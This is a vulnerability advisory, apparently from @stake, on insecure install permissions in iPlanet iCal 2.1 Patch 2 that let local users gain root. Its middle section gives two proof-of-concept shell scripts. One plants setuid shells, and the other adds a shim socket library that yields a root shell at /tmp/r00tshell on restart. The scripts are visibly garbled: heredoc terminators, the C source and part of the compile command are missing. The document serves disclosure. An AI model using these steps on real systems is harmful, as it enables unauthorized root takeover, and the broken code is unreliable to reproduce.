[原文]iCal 2.1 Patch 2 installs many files with world-writeable permissions, which allows local users to modify the iCal configuration and execute arbitrary commands by replacing the iplncal.sh program with a Trojan horse.
Netscape's iPlanet iCal application is a network based calendar service built for deployment in organizations which require a centralized calendar system. Certain versions of iCal ship with a vulnerability introduced in the installation process which will allow malicious local users to gain root on the system.
During the installation process a large number of files are left world readable and writable. One such file, /opt/SUNWicsrv/cal/bin/iplncal.sh is designed to be run at startup as root and is world writable by default. This allows users to modify the contents of this startup script and have it executed at boot up time or whenever the machine is re-initialized.
Proof of Concept Tools:
There are two scripts below, the first obtains an icsuser shell.
The second script is used to obtain root access the next time iCal is
stopped or started. The second script should be run once you've obtained
the shell and have become the icsuser. This second script creates a shim
libsocket.so.1 library with a modified socket() function that then
executes a shell script as root.
# Simple proof of concept exploit used to obtain icsuser shell.
cat > cshttpd << FOOFOO
cp /usr/bin/ksh ./icsuser
chmod 4755 ./icsuser
chmod 755 ./cshttpd
echo "Executing csstart...."
$INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null
ls -al ./icsuser
# Simple iCal exploit. Become icsuser by running the shell created with
# obtain-ics.sh script, and then run this shell script. The next time that
# service is started by root (ie. system reboot), a root owned suid shell
# be created: /tmp/r00tshell.
#Create the shim library..
cat > libsushi.c << FOEFOE
compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi
#create the shell script we'll be executing as root..
cat > $INSTDIR/cal/bin/icalroot << FOOFOO
cp /usr/bin/ksh /tmp/r00tshell
chmod 4755 /tmp/r00tshell
ls -l $INSTDIR/cal/bin/icalroot
echo ".. Now wait for the iCal service to start up again"
For more advisories: http://www.atstake.com/research/advisories/
PGP Key: http://www.atstake.com/research/pgp_key.asc
iPlanet iCal contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The problem is that the "iplncal.sh" script is installed with insecure permissions by default and runs as root during startup. It is possible for a malicious user to manipulate the script and execute arbitrary code on the system with root privileges, resulting in a loss of integrity.
Currently, there are no known workarounds or upgrades to correct this issue. However, Sun has released a patch to address this vulnerability.